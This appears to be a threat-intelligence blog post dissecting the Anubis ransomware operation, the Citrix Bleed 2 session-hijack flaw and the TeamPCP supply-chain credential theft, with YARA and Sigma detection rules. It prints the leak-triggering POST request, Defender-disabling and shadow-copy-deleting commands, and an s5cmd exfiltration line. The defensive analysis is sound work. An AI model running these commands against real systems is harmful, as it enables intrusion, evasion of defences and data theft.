Anubis RaaS Deep Dive: Citrix Bleed 2, /WIPEMODE Irreversible Destruction, and the Supply Chain Credential Pipeline Feeding Its Affiliates
Ninety-one victims. Twenty percent to the operator, eighty to the affiliate, and a command-line flag called /WIPEMODE that reduces every file it touches to zero bytes whether or not you pay. Anubis is what happens when a mid-tier ransomware crew (the artist formerly known as Sphinx) plugs itself into a pre-auth NetScaler memory disclosure on one end, a CI/CD supply-chain credential firehose on the other, and stops caring whether the victim survives the negotiation.
This is the full teardown: the encryptor internals, the Citrix Bleed 2 chain, the VECT-TeamPCP pipeline dumping stolen tokens into affiliate hands, and a detection layer that catches the whole kill chain rather than just the last stage.
From Sphinx to Anubis: 91 Victims and an 80% Affiliate Cut
Anubis is not a new group. It is Sphinx with a paint job. The lineage is not speculative: encrypted file extensions flipped from .sphinx to .anubis in late 2024, and code-level comparisons between Sphinx samples and current Anubis binaries show near-identical routines, string layouts, and configuration structures. This is a rebrand, not a fork, not a shared-source reuse. Same crew, new name, better marketing.
By February 2025, the operators started recruiting on Russian-language crimeware forums. Two personas surfaced: “superSonic” on RAMP, and “Anubis__media” on XSS. The pitch was aggressive: 80% of ransom paid to affiliates, with the operator taking 20%. That split is at the top end of the RaaS market. LockBit’s classic affiliate share was 80%, but LockBit had brand, infrastructure, and a decade of gravitational pull. Anubis is buying loyalty from a smaller pool, and it is buying it with margin.
Per Ransomware.Live, the leak site has posted 91 victims to date, with 11 added in June 2026 alone. Geographic distribution skews heavily US (more than half of claimed victims), followed by UK, Australia, France, and Canada. Sector spread is broad: healthcare, engineering, construction, small-to-midsize managed services. Anubis is not going after Fortune 100 targets. It is going after the layer directly below them, where NetScalers live unpatched behind partial MFA deployments and IT teams are stretched across three time zones.
The operational structure is textbook RaaS. Affiliates own initial access, lateral movement, exfiltration, and execution. The core team ships the encryptor, runs the leak-site infrastructure, and handles negotiation. Two things distinguish Anubis from the pack:
- The
/WIPEMODEmodule. Turns the ransomware into a wiper on command, with the extortion pivoting entirely to the stolen-data leverage. - The TeamPCP pipeline. Not exclusive to Anubis, but many of the same affiliates work both operations, and the supply-chain credential haul flowing out of TeamPCP is what fuels a lot of the “valid VPN credential” initial access that Arctic Wolf keeps logging.
Let’s take those apart piece by piece.
CVE-2025-5777: Citrix Bleed 2, the Uninitialized Variable Heard Around the World
The story starts with a stack variable that never got zeroed. Citrix released patches on June 17, 2025 for what they described, in classic vendor prose, as “insufficient input validation.” What that actually means, courtesy of watchTowr’s teardown: the backend authentication parser for /p/u/doAuthentication.do on NetScaler ADC and Gateway declares a local buffer intended to hold the value of the login= POST parameter. If login is present and populated, the buffer gets initialized. If login is absent or empty, the buffer is never touched, and the server reflects whatever was on the stack at that memory location back to the caller in the HTTP response body.
That is CWE-457 in a nutshell. Uninitialized variable use, exposed over the network, at a pre-authentication endpoint. CVSS 4.0 scored it 9.3. The affected surface is NetScaler configured as a Gateway (VPN vserver, ICA Proxy, CVPN, RDP Proxy) or as an AAA vserver, which is essentially every production deployment.
The Leak Primitive
The exploit is embarrassingly simple. Send this:
POST /p/u/doAuthentication.do HTTP/1.1
Host: netscaler.target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
login=&passwd=x&StateContext=
The response body contains a chunk of process memory where the login value would have been printed. Repeat the request, and each response contains a different memory snapshot. What lives in that memory? Cached authentication material, session cookies (NSC_AAAC, ASP.NET session identifiers), decrypted secrets, and, critically, active user session tokens.
From Memory Leak to MFA Bypass
Here is why this is Citrix Bleed 2 and not just another info-disclosure CVE. When a legitimate user completes MFA and establishes a NetScaler Gateway session, the session token issued to their browser is stored server-side and referenced by cookies like NSC_AAAC. If an attacker leaks that cookie from memory, they can replay it. The NetScaler treats the replayed cookie as an already-authenticated session. MFA has already been satisfied when the token was issued, so the attacker inherits authenticated access without ever seeing a password or an OTP.
That is the entire chain: unauthenticated HTTP POST, memory read, cookie replay, authenticated Gateway session, RDP/ICA into the internal network.
The Pattern in C-ish Pseudocode
The bug class is easier to feel with code. This is illustrative, not the actual NetScaler source:
// Illustrative sketch of the CWE-457 pattern in NetScaler auth handler
int handle_do_authentication(http_request_t *req, http_response_t *resp) {
char username[256]; // stack buffer, NOT zeroed
char *login_param;
login_param = http_get_form_field(req, "login");
// Bug: only populated when login is present AND non-empty
if (login_param != NULL && strlen(login_param) > 0) {
strncpy(username, login_param, sizeof(username) - 1);
username[sizeof(username) - 1] = '\0';
}
// else: 'username' contains whatever was on the stack before
// Fatal: unconditionally reflect 'username' into the response
render_auth_error(resp, username);
return 0;
}
Two things had to be true for this to become a memory disclosure: the buffer had to be uninitialized on one path, and the response rendering had to happen unconditionally. Both are true in the shipping NetScaler build. The fix in the patched versions initializes the buffer before use and short-circuits the render when the login field is empty.
Fixed Versions and the End-of-Life Trap
The patches live in NetScaler ADC 14.1-43.56, 13.1-58.32, 13.1-FIPS/NDcPP 13.1-37.235, and 12.1-FIPS 12.1-55.328, plus NetScaler Gateway 14.1-43.56 and 13.1-58.32. The trap: NetScaler ADC and Gateway 12.1 and 13.0 are end of life. They are vulnerable, and no patch is coming. If you are still on those branches, you are the target. That is not a hypothetical, that is the demographic Anubis affiliates are actively scanning for.
The Session Kill Problem
Here is the operational detail that keeps catching people out. Patching does not evict already-hijacked sessions. If an attacker leaked your session tokens before you patched, those tokens remain valid until they expire. The Citrix advisory calls this out explicitly: after upgrading, you have to terminate active sessions:
kill icaconnection -all
kill pcoipConnection -all
Those two commands are what most admins ran and stopped. That is insufficient. RDP proxy sessions, AAA persistent sessions, and Load Balancing persistent sessions all use session cookies that were leaked by the same vulnerability. You need to walk every session type and terminate every active session, then rotate every credential that could plausibly have been in memory during the exposure window.
GreyNoise recorded exploitation in the wild starting roughly two weeks before public PoC drops from watchTowr and Horizon3.ai in early July 2025. CISA added it to the Known Exploited Vulnerabilities catalog on July 10. If your patching window opened later than that and you did not do a full session kill, assume compromise.

Initial Access: VPN Credentials or Citrix Bleed 2, Take Your Pick
Arctic Wolf’s July 2026 telemetry across Anubis intrusions clusters initial access into two buckets:
- Valid VPN credentials. Purchased from an initial access broker, harvested through infostealer logs, or, increasingly, pulled from the TeamPCP supply-chain haul. In the Arctic Wolf cases, source IPs traced back to VPS hosting providers (DigitalOcean, Vultr, common bulletproof providers), which is what you expect when an affiliate is running through a rented jump box.
- CVE-2025-5777 exploitation. Same VPS sourcing pattern, targeted at internet-facing NetScaler appliances still on vulnerable versions or on 12.1/13.0.
The mix matters. If your NetScaler is patched and your sessions were killed but you still see anomalous VPN authentications from VPS ranges, you are looking at credential reuse, not exploit. That changes the response: rotate VPN credentials, review IdP logs, hunt for infostealer infections on user endpoints, and check whether any of your CI/CD service accounts show up in the TeamPCP haul.
RMM Abuse: Six Ways to Look Like IT
Once inside, Anubis affiliates do not drop a bespoke C2 beacon and hope to survive EDR. They install remote management tools. Multiple ones. Concurrently.
The observed toolkit across Arctic Wolf’s and Sophos CTU’s cases:
| RMM Tool | Typical Path | Notes |
|---|---|---|
| ScreenConnect | C:\Program Files (x86)\ScreenConnect Client (*) | Instance GUID in service name |
| Zoho Assist | C:\Users\<user>\AppData\Local\ZohoMeeting\ | Often installed under user context |
| MeshAgent | C:\Program Files\Mesh Agent\ | Open-source, favored for its low signature footprint |
| Remotely | C:\Program Files\Remotely\ | Also open-source, easily rebranded |
| UltraVNC | C:\Program Files\uvnc bvba\ | Legacy but functional |
| Total Software Deployment | C:\Program Files\Softinventive Lab\Total Software Deployment\ | Lateral deployment vector |
The signal is not any single RMM. It is multiple RMMs installed inside a compressed time window on the same host. Legitimate IT teams standardize. If a host suddenly has ScreenConnect, MeshAgent, and Zoho Assist all installed within two hours, that is not IT, that is an affiliate hedging against you killing one of them.
Detection lineage matters. RMMs are typically installed by MSI or NSIS installers running out of an unusual parent process (powershell.exe, wscript.exe, or a browser download). Sysmon Event ID 1 with parent-child correlation is the primary signal. Event ID 11 (file create) into the RMM install paths listed above is the secondary.
Lateral Movement and the High-Value Target List
Anubis affiliates are not opportunistic. They are surgical. Every case I have reviewed in the Arctic Wolf and Sophos CTU reporting shows the same target prioritization order once initial foothold is established:
- Microsoft Remote Desktop Services servers (Terminal Servers) – fan-out to user sessions
- Domain controllers – for credential dumping and Kerberos ticket abuse
- Hypervisors (ESXi, Hyper-V) – encrypt the datastore, encrypt every VM at once
- Backup-adjacent systems – Veeam servers, Rubrik proxies, backup repositories
- Network-Attached Storage (NAS) – user data at rest, often lightly authenticated
The lateral movement primitives are the boring ones that still work: RDP with dumped credentials, PsExec for SYSTEM-level payload deployment, sometimes WMI-based remote execution. Arctic Wolf documented an especially neat NAS tradecraft pattern: the attacker created a local administrator account on the NAS device itself, then configured a Cloudflare Tunnel from the NAS out to attacker infrastructure. The NAS became a persistent covert egress point that survived any endpoint remediation on Windows hosts.
Command-and-control uses typosquatted domains. Two Arctic Wolf caught: azuremicrosoft[.]us and promotds[.]us. These are cheap, they slip past casual DNS log review, and they are usually fronted by Cloudflare or a similar CDN to obscure the actual backend IP.
Defense Evasion: Turning Off the Cameras Before the Break-In
Before the encryptor lands, the affiliate has to blind the defensive tooling. The Anubis playbook is not subtle:
Windows Defender disablement:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
Add-MpPreference -ExclusionPath "C:\PerfLogs","C:\Users\Public","C:\Apps"
If tamper protection is enabled and the account is not SYSTEM, most of these calls fail. Which is why the affiliate first escalates to SYSTEM via token manipulation or via the encryptor’s /elevated flag (more on that below).
Sophos removal: Where Sophos is installed, the affiliates invoke SophosUninstall.exe directly, sometimes chained with msiexec /x against the Sophos component GUIDs. This works only when the Sophos tamper protection password has been recovered from a management server or when the attacker has domain admin on the Sophos Central-linked machine. When it works, it uninstalls cleanly, no alerts.
PCHunter artifacts: PCHunter is a Chinese-developed process and driver management tool. Loaded as a signed driver on older Windows builds, it can terminate protected processes and unload security drivers. Its presence (PCHunter64.exe, PCHunter.sys) on a host with no admin-facing troubleshooting activity is a strong signal.
Log clearing: Direct invocations of wevtutil cl Security, wevtutil cl System, and PowerShell Clear-EventLog calls. Also, on some hosts, the encryptor itself is deleted post-execution to remove the on-disk artifact. In at least one Arctic Wolf case, the encryptor binary was gone before responders arrived, and reconstruction relied entirely on prefetch, Amcache, and shimcache residue.
Exfiltration: rclone, s5cmd, and the Cloudflare Escape Route
Before encryption, the data goes out. The tooling is boringly consistent:
| Tool | Purpose | Common Staging Path |
|---|---|---|
rclone.exe | Cloud storage sync (S3, Mega, B2, Dropbox) | C:\PerfLogs\rclone\, C:\Users\Public\ |
s5cmd.exe | High-throughput S3 CLI | C:\Apps\, temp folders |
S3 Browser | GUI S3 client (screenshot evidence in cases) | Default install path |
WinSCP.exe | SFTP/SCP | User AppData |
PuTTY (pscp, plink) | SSH transport | User AppData |
cloudflared.exe | Cloudflare Tunnel client for covert egress | User AppData, C:\PerfLogs\ |
The forensic gold: rclone’s config file lives at %APPDATA%\rclone\rclone.conf and it contains the remote destination (bucket name, endpoint, sometimes access keys). If you find this file, you have the exfil destination. s5cmd does not maintain a persistent config file, but its process command lines contain the destination bucket path directly. Sysmon Event ID 1 with the full command line captures it:
s5cmd.exe cp "C:\PerfLogs\stage\*.zip" "s3://<attacker-bucket>/<victim-tag>/"
Other artifacts that survive attempts to clean up:
– Prefetch (C:\Windows\Prefetch\RCLONE.EXE-*.pf) records execution timestamps
– Amcache (C:\Windows\AppCompat\Programs\Amcache.hve) records the executable hash and first-run time
– MFT residue for deleted staging archives (unallocated .zip, .7z, or .tar.zst fragments in staging directories)
– Shellbags if the affiliate opened Explorer to browse the staged data
– NetFlow / firewall logs showing large outbound sessions to S3 endpoints, Mega, or Cloudflare IP ranges
The Anubis Encryptor: ECIES, /WIPEMODE, and a Physical Drive Handle for Auth Checks
Now the payload. Ransom:Win64/Anubis.A, per Microsoft’s threat description: a Windows 64-bit executable, roughly 5.42 MB, active development still visible in interactive prompts and debug remnants.
The Admin Check
Before doing anything destructive, the encryptor needs to know whether it has admin. Standard practice is to call OpenProcessToken and inspect the token’s elevation. Anubis does something more interesting:
HANDLE h = CreateFileA("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (h == INVALID_HANDLE_VALUE) {
// not admin, prompt or exit
} else {
CloseHandle(h);
// proceed as admin
}
Opening a raw physical drive handle requires SeManageVolumePrivilege, which effectively requires an elevated token. If the call succeeds, the process is admin. If it fails, it is not. No UAC prompt is triggered, no obvious “am I admin” API is called, and static analysis tools looking for IsUserAnAdmin or token queries miss this check entirely.
If admin is confirmed, the encryptor attempts to escalate further to SYSTEM using token duplication from a running SYSTEM process (typically winlogon.exe or lsass.exe). This is the standard OpenProcess -> OpenProcessToken -> DuplicateTokenEx -> CreateProcessWithTokenW pattern.
Command-Line Interface
Anubis is operator-driven. It does not spread autonomously. The affiliate invokes it with parameters:
| Parameter | Function |
|---|---|
/KEY=<value> | Required. Starts encryption. Value is authenticated against embedded operator key material. |
/elevated | Forces launch with administrative privileges via UAC or token theft. |
/WIPEMODE | Activates destructive file wiping instead of encryption. Requires valid /KEY. |
/PATH=<dir> | Targets a specific directory tree instead of full-disk enumeration. |
/PFAD=<dir> | Directories to exclude (Pfad is German for “path”, suggesting Germanic developer origins). |
Encryption Scheme
The encryptor uses Elliptic Curve Integrated Encryption Scheme (ECIES). ECIES combines an ephemeral EC key exchange with a symmetric cipher (typically AES-256 in CBC or GCM) and a MAC. The operator’s public EC key is embedded in the binary. For each victim, the encryptor generates an ephemeral EC private key, derives a shared secret with the operator’s public key, uses that to derive an AES key, encrypts the file symmetric key with AES, and stores the ephemeral public key alongside the ciphertext. Only the operator, holding the private key, can reconstruct the shared secret and decrypt.
Encrypted files are renamed with .anubis. Volume Shadow Copies are deleted with:
vssadmin delete shadows /for=norealvolume /all /quiet
The /for=norealvolume argument looks like a bug or a copy-paste error (there is no volume named “norealvolume”), but it does not matter because the /all flag takes precedence and clears everything.
The Branding Drops
The encryptor writes two files to %ProgramData%:
– icon.ico – registered as the file-type icon for .anubis files
– wall.jpg – set as the desktop wallpaper
The wallpaper registry manipulation:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Wallpaper = C:\ProgramData\wall.jpg
This is the ransom-note delivery mechanism. When the user logs back in, the wallpaper carries the negotiation URL and victim ID.
/WIPEMODE: The Point of No Return
Here is where Anubis diverges from ordinary ransomware. When /WIPEMODE is passed alongside a valid /KEY, the encryptor does not encrypt. It overwrites the contents of every targeted file with zeros, then truncates the file to 0 bytes. Filename, extension, path, and directory structure remain intact. From the user’s perspective, everything looks normal until they open a file. Every file is empty.
No key exists to reverse this. There is no decryption tool. There is no “pay us and we will restore.” Payment for decryption is off the table because the ciphertext was never generated.
The extortion model shifts entirely. The victim’s leverage to pay comes from one source only: preventing the stolen data from being leaked. That is why exfiltration happens before encryption, and why Anubis’s leak site posts are so heavily front-loaded with data samples. The wiper is punitive or, on some deployments, the default. Arctic Wolf’s report is explicit that /WIPEMODE has been used both as a mid-negotiation threat escalation and as the deployed configuration from the start.
Rubrik Zero Labs put it plainly: files remain in directories but are reduced to 0 KB regardless of ransom payment. If you find zero-byte files across a filesystem with intact directory structure and no .anubis extension change, you are looking at /WIPEMODE, not encryption. The response is completely different: no negotiation logic will help, restore from offline backup immediately.

The VECT Encryptor: When the Bug Is the Wiper
Now the sister operation, and the parallel destruction pathway that catches defenders off guard.
VECT is a separate ransomware operation, in C++ from scratch (not derived from LockBit or Conti leaks), that partnered with TeamPCP in March 2026. It uses ChaCha20-Poly1305 with intermittent file encryption. Intermittent encryption is a performance optimization: rather than encrypting every byte, only certain chunks (typically the first N kilobytes plus interleaved blocks) are ciphered. This dramatically speeds up mass encryption on large files while still rendering them unusable.
Except VECT’s implementation is broken. JUMPSEC and Check Point independently found the same flaw: any file larger than 128 KB is not encrypted, it is destroyed. The chunking logic has a boundary error where offsets beyond 128 KB write past the encryption buffer, corrupting the ciphertext irreversibly. The AEAD nonce and tag storage layout gets scrambled, and even with the correct key, decryption fails.
VECT publicly denied the flaw on X. Multiple researchers, independently, have reproduced it. TeamPCP issued a curious statement claiming they had never used VECT’s encryptor in attacks, which is odd given they were simultaneously running their CipherForce brand as a parallel hedge. The CipherForce leak site listed six victims in February 2026 and was quietly rebranded as a TeamPCP leak site in May, right after the VECT partnership.
The practical takeaway for incident response: if you are hit by VECT and any of your critical files are larger than 128 KB (which is essentially all modern documents, databases, VMDKs, backup files, images), those files are gone. Paying does not recover them. Scope your IR accordingly. Do not spend cycles negotiating a decryptor for data that cannot be decrypted.
This is the critical distinction between the two destruction pathways in the current ecosystem:
| Attribute | Anubis /WIPEMODE | VECT >128 KB Flaw |
|---|---|---|
| Intent | Deliberate wiper module | Unintentional bug |
| Trigger | Operator command-line flag | Any file >128 KB in normal encryption |
| Outcome | File contents zeroed, size = 0 | Ciphertext corrupted, size preserved |
| Recoverable? | No | No |
| Detectable pattern | Mass 0-byte files, structure intact | Files with normal size but corrupted ChaCha20-Poly1305 blocks |
| Extortion implication | Data-leak pressure only | Data-leak pressure only (decryptor is useless) |
Both destroy data. One does it because the operator flipped a switch. The other does it because the malware author cannot write a chunking algorithm. The defender’s response is identical: restore from offline backups, refuse to negotiate for decryption, focus containment on preventing further exfiltration.
The VECT-TeamPCP Supply Chain Pipeline
This is where the ecosystem gets ugly. TeamPCP (also tracked as UNC6780 by Google’s Threat Intelligence Group, and operating under forum handles DeadCatx3, PCPcat, Persy_PCP, ShellForce, CipherForce) is a supply-chain-focused credential theft operation. In March 2026, they announced a partnership with VECT, and quietly, many of the same affiliates are working Anubis intrusions. The credentials TeamPCP steals are the credentials Anubis affiliates are using for “valid VPN credential” initial access.
The scale is staggering. TeamPCP has exfiltrated an estimated 300 GB of compressed credentials, with the LiteLLM compromise alone contributing hundreds of thousands of individual tokens.
The Trivy Compromise (CVE-2026-33634)
On March 19, 2026, TeamPCP hit the Trivy GitHub Actions ecosystem in a coordinated multi-channel attack:
- Force-pushed malicious code to 76 of 77 version tags in
aquasecurity/trivy-actionand all 7 tags inaquasecurity/setup-trivy. Because most CI pipelines pin to a tag rather than a commit SHA, this immediately weaponized every downstream pipeline using those tags. - Weaponized Trivy binary v0.69.4 published to GitHub Releases, Docker Hub, GHCR, ECR Public, and deb/rpm repositories. Every organization’s next scheduled Trivy update pulled the poisoned binary.
- “TeamPCP Cloud Stealer” payload deployed via the malicious action, which dumped process memory from the GitHub Actions runner, swept SSH keys, cloud provider credentials, Kubernetes secrets, and any environment variables containing tokens.
The stealer’s exfiltration used AES-256 (session key) wrapped with RSA-4096 (operator public key), sent to attacker-controlled infrastructure. The interesting fallback: if the primary C2 was unreachable, the malware created a repository named tpcp-docs inside the victim’s own GitHub organization and pushed encrypted secret blobs there, using the compromised GitHub Actions token. That is beautifully evil. The victim’s own account is the exfil destination, so no outbound anomaly triggers.
LiteLLM: The .pth File Trick
Also in late March 2026, TeamPCP poisoned BerriAI’s LiteLLM CI/CD pipeline and published malicious versions 1.82.7 and 1.82.8 to PyPI. LiteLLM is an AI gateway library with roughly 96 million monthly downloads. The malicious packages were live for approximately three hours before quarantine.
Version 1.82.8 included a .pth file. Python’s site-packages loading mechanism reads .pth files at interpreter startup and executes any line beginning with import. Which means the payload ran the instant a Python interpreter with LiteLLM installed started up, even if the user never explicitly imported the package. Any container, any CI runner, any developer laptop with pip install litellm in a virtualenv, all executing the credential harvester on next Python invocation.
The payload used MD5-keystream XOR for its own obfuscation (crude but effective for evading string-matching signatures) and targeted Kubernetes service account tokens, cloud metadata endpoints, and any .env files in the current working directory.
The Cascading PAT Reuse
Because the initial Trivy compromise gave TeamPCP a large pool of stolen GitHub Personal Access Tokens, the follow-on attacks used those tokens to poison additional supply chains:
| Date | Target | Vector |
|---|---|---|
| Mar 23 | KICS GitHub Action | Stolen PATs |
| Mar 23-24 | Checkmarx VS Code extensions (OpenVSX) | Stolen extension publisher tokens |
| Mar 23-24 | LiteLLM PyPI v1.82.7, v1.82.8 | .pth file mechanism |
| Mar 27 | Telnyx PyPI | Malicious release |
| Apr 15 | VECT ransomware begins publishing victims | Credentials-to-ransomware pipeline live |
| Apr 22 | Xinference PyPI, KICS Docker Hub/VS Code/Actions | Continued PAT reuse |
| Apr 23 | @bitwarden/cli v2026.4.0 | Downstream hijack via stolen KICS npm tokens |
Staging repositories on GitHub were named using words from the Dune universe (sardaukar, fremen, atreides, sandworm), following a <dune-word>-<dune-word>-<3 digits> pattern with the description “Shai-Hulud: The Third Coming.” That is a deliberate reference to the earlier Shai-Hulud npm worm, which suggests either the same operator or a very intentional mimic.
The BreachForums Mass Mobilization
Then TeamPCP did something that reshaped the affiliate market. They announced on BreachForums that every forum member would receive their own personal VECT affiliation key for immediate activation. This is not curated recruitment. This is throwing the front door open to anyone with a forum account. Every script kiddie, every intermediate skid, everyone who has ever wanted to run a ransomware operation without writing malware, now had a keyed encryptor and a 300 GB credential library to pick initial access from.
Anubis affiliates benefit indirectly. The same credentials flow through the same underground marketplaces. Many of the “valid VPN credential” logins Arctic Wolf documented in Anubis intrusions can be traced back to organizations whose CI/CD pipelines had Trivy or LiteLLM in them during the exposure window. If your CI pipeline touched either of those in March or April 2026, you should be rotating credentials as if they are all burned. Because they probably are.

Detection Layer: YARA and Sigma for the Full Kill Chain
Detection engineering for Anubis needs to cover every phase, not just the encryptor. If you catch the encryptor writing .anubis extensions, you have already lost. The signals you want are earlier.
YARA: Anubis Encryptor Static Detection
rule Anubis_Ransomware_Encryptor
{
meta:
author = "GenXCyber"
description = "Detects Anubis (Sphinx rebrand) ransomware encryptor"
reference = "Arctic Wolf Labs July 2026, Sophos CTU"
family = "Anubis"
threat_level = "critical"
strings:
$param1 = "/WIPEMODE" ascii wide
$param2 = "/KEY=" ascii wide
$param3 = "/PFAD=" ascii wide
$param4 = "/elevated" ascii wide
$ext = ".anubis" ascii wide
$vss = "vssadmin delete shadows /for=norealvolume /all /quiet" ascii wide
$drive = "\\\\.\\PHYSICALDRIVE0" ascii wide
$wall = "wall.jpg" ascii wide
$icon = "icon.ico" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 10MB and
(3 of ($param*)) and
$ext and
($vss or $drive) and
($wall or $icon)
}
Sigma: CVE-2025-5777 Exploitation
title: Citrix Bleed 2 Exploitation Attempt
id: 8a5f2c14-anubis-cb2-2026
status: stable
description: Detects malformed POST to NetScaler doAuthentication endpoint indicative of CVE-2025-5777 exploitation
references:
- https://www.watchtowr.com/citrix-bleed-2-cve-2025-5777
- https://cisa.gov/kev
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem: '/p/u/doAuthentication.do'
cs-body|contains:
- 'login=&'
- 'login= '
filter_size:
sc-bytes|lt: 100
condition: selection and not filter_size
level: high
tags:
- attack.initial_access
- attack.t1190
Sigma: Multi-RMM Installation Burst
title: Multiple RMM Tools Installed on Single Host Within 2 Hours
id: 9c7b3d21-anubis-rmm-2026
status: experimental
description: Anubis affiliates install multiple RMM tools for redundant persistence
logsource:
product: windows
category: process_creation
detection:
rmm_install:
Image|endswith:
- '\ScreenConnect.ClientService.exe'
- '\ZohoMeeting.exe'
- '\MeshAgent.exe'
- '\Remotely_Agent.exe'
- '\uvnc_service.exe'
condition: rmm_install | count(Image) by ComputerName > 1
timeframe: 2h
level: high
tags:
- attack.persistence
- attack.t1219
Sigma: Defender Tamper Chain
title: Windows Defender Disablement Consistent with Anubis Pre-Encryption
id: 7d4e9f18-anubis-def-2026
logsource:
product: windows
category: process_creation
detection:
powershell_tamper:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'Set-MpPreference'
- 'Disable'
sophos_removal:
Image|endswith: '\SophosUninstall.exe'
condition: powershell_tamper or sophos_removal
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
Sigma: Zero-Byte File Storm (WIPEMODE Trigger)
title: Mass Zero-Byte File Creation Indicating /WIPEMODE
id: 2a1e5b09-anubis-wipe-2026
logsource:
product: windows
category: file_event
detection:
file_zeroed:
EventType: 'modify'
FileSize: 0
condition: file_zeroed | count() by ComputerName > 100
timeframe: 5m
level: critical
tags:
- attack.impact
- attack.t1485
Sigma: rclone / s5cmd Staging
title: rclone or s5cmd Execution from Non-Standard Path
id: 5f8c2d17-anubis-exfil-2026
logsource:
product: windows
category: process_creation
detection:
exfil_tools:
Image|endswith:
- '\rclone.exe'
- '\s5cmd.exe'
Image|contains:
- '\PerfLogs\'
- '\Users\Public\'
- '\AppData\Local\Temp\'
- '\Apps\'
condition: exfil_tools
level: high
tags:
- attack.exfiltration
- attack.t1567.002
MITRE ATT&CK Coverage Map
| Phase | Technique | ID |
|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 |
| Initial Access | Valid Accounts | T1078 |
| Execution | Command and Scripting Interpreter (PowerShell) | T1059.001 |
| Persistence | Remote Access Software | T1219 |
| Privilege Escalation | Access Token Manipulation | T1134 |
| Defense Evasion | Impair Defenses: Disable Tools | T1562.001 |
| Defense Evasion | Indicator Removal: Clear Event Logs | T1070.001 |
| Credential Access | Credentials from Password Stores | T1555 |
| Discovery | Domain Trust Discovery | T1482 |
| Lateral Movement | Remote Services: RDP | T1021.001 |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 |
| Collection | Data Staged | T1074 |
| C2 | Proxy: Tunnel via Cloudflare | T1090 |
| Exfiltration | Exfiltration to Cloud Storage | T1567.002 |
| Impact | Data Encrypted for Impact | T1486 |
| Impact | Data Destruction | T1485 |
| Impact | Inhibit System Recovery | T1490 |
Hardening and IR Priorities
If You Run NetScaler
- Patch to 14.1-43.56, 13.1-58.32, or the FIPS equivalents. Do not delay. 12.1 and 13.0 are EOL, replace them.
- After patching, run the full session-kill sequence, not just ICA and PCoIP. Kill AAA persistent sessions and LB persistent sessions too.
- Rotate every credential that could plausibly have been in memory during your exposure window. This includes cached AD credentials, service accounts, and any secrets used by NetScaler policies.
- Deploy Snort SID 65120 or equivalent Sigma at your WAF/IDS layer as belt-and-braces coverage.
- Audit VPN authentications for the 30 days preceding your patch. Session hijacks look like a legitimate user session from an unexpected geolocation or ASN.
If You Run CI/CD Pipelines (Anyone Touching Trivy or LiteLLM in Mar/Apr 2026)
- Rotate every secret that lived in the affected pipelines: GitHub PATs, cloud provider keys, container registry credentials, Kubernetes service account tokens, npm/PyPI publisher tokens.
- Audit for any repository named
tpcp-docsinside your GitHub organization. That is the fallback exfil destination. - Search staging repository patterns: any repo matching
<word>-<word>-<3 digits>with a Dune-themed word set and “Shai-Hulud” in the description. - Pin GitHub Actions by commit SHA, not by tag. Tag pinning is what let the Trivy force-push cascade downstream.
- Adopt an SBOM and diff dependency changes on every build.
.pthfile additions in Python packages should raise flags automatically.
Endpoint and Network Hardening
- RMM allowlisting. Pick one RMM, block the rest at EDR and firewall. Any second RMM appearing is an alert.
- Windows Defender tamper protection enabled and enforced via Intune/GPO. Not toggleable by local admin.
- Application allowlisting on server-class hosts (WDAC or AppLocker). rclone, s5cmd, cloudflared, PsExec, PCHunter should not run.
- Offline, immutable backups. If your backup is reachable from the production domain, it is not a backup.
- Egress filtering. Cloudflare Tunnel from a NAS device to the internet is not a legitimate traffic pattern. Block outbound to Cloudflare tunnel endpoints from server VLANs by default.
If You See Zero-Byte Files
Stop. Do not pay. Do not negotiate for decryption. /WIPEMODE cannot be reversed. Restore from offline backup, contain the data-leak side of the extortion separately, and treat every credential touched by the affected environment as burned.

Key Takeaways
- Anubis is Sphinx with a rebrand and an 80% affiliate cut. The name changed. The code and the crew did not.
- Citrix Bleed 2 is not just a memory disclosure, it is an MFA-bypassing session hijack. Patching without a full session-kill sequence across all session types leaves you exposed. 12.1 and 13.0 are EOL, they will never be safe.
/WIPEMODEand the VECT >128 KB flaw are the two ways your data ends up unrecoverable regardless of payment. One is intentional, one is a bug, the operational impact is identical. Recognize zero-byte file storms and corrupted-cipher patterns early and pivot to backup restore immediately.- The TeamPCP pipeline is why “valid VPN credentials” keep appearing as initial access. 300 GB of compressed credentials is now in circulation. If your CI/CD pipeline touched Trivy or LiteLLM in March or April 2026, assume your secrets are in the pool.
- Multi-RMM installation within a compressed window is one of the strongest early detections. It happens before Defender gets disabled. It happens before rclone lands. Catch it here.
- Detection must span the whole chain, not just the encryptor. By the time
.anubisfiles appear, the affiliate has already been in your environment for days or weeks. Your win is at the CVE-2025-5777 layer, the RMM burst, or the exfil staging, not at the ransom note.